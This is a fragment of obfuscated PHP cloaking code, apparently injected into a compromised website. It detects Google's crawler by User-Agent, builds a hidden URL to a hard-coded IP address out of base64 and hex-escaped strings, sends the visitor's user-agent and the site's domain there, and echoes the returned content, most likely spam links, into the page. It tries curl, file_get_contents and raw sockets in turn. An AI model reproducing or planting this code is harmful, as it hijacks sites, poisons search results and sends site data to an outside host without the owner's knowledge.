tbotbotbot = "\x2e\x2e\x2e" . $_SERVER["\110\124\124\120\137\x55\x53\x45\x52\137\x41\107\105\116\124"]; goto t4JnQ; xG3Lx: if (strpos($botbotbotbot, "\157\x6f\147\x6c\145")) { $xxx = base64_decode("\116\x6a\125\x3d"); $xxx1 = base64_decode("\x4d\x6a\x45\x3d"); $xxx2 = base64_decode("\115\x6a\115\61"); $xxx3 = base64_decode("\115\152\x55\170"); $xxx4 = base64_decode("\141\x57\x35\x77\144\130\x51\x3d"); $xxx0 = base64_decode("\141\110\122\60\143\104\157\x76\x4c\x77\x3d\x3d"); $xxx00 = $xxx . "\x2e" . $xxx1 . "\x2e" . $xxx2 . "\56" . $xxx3; $xxx11 = $xxx4 . "\57\x3f\x75\x73\x65\x72\x61\147\x65\156\164\x3d" . $botbotbotbot . "\46\x64\x6f\155\141\151\x6e\75" . $_SERVER["\x48\124\124\x50\x5f\110\x4f\123\x54"]; $url = $xxx0 . $xxx00 . "\57" . $xxx11; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); curl_close($ch); echo $result; if (strpos($result, "\x68\162\145\x66\75") < 1) { $result = file_get_contents("{$url}"); echo $result; } if (strpos($result, "\150\x72\145\x66\75") < 1) { $url = $xxx00; $fp = fsockopen($url, 80, $errno, $errstr, 30); if (!$fp) { echo "{$errstr}\x20\x28{$errno}\x29\x3c\x62\x72\x20\x2f\76\12"; } else { $req = "\x2f" . $xxx11; $out = "\x47\105\x54\40{$req}\x20\x48\x54\124\x50\57\x31\x2e\60\xd\12"; $out .= "\x48\x6f\x73\164\x3a\x20{$url}\xd\12"; $out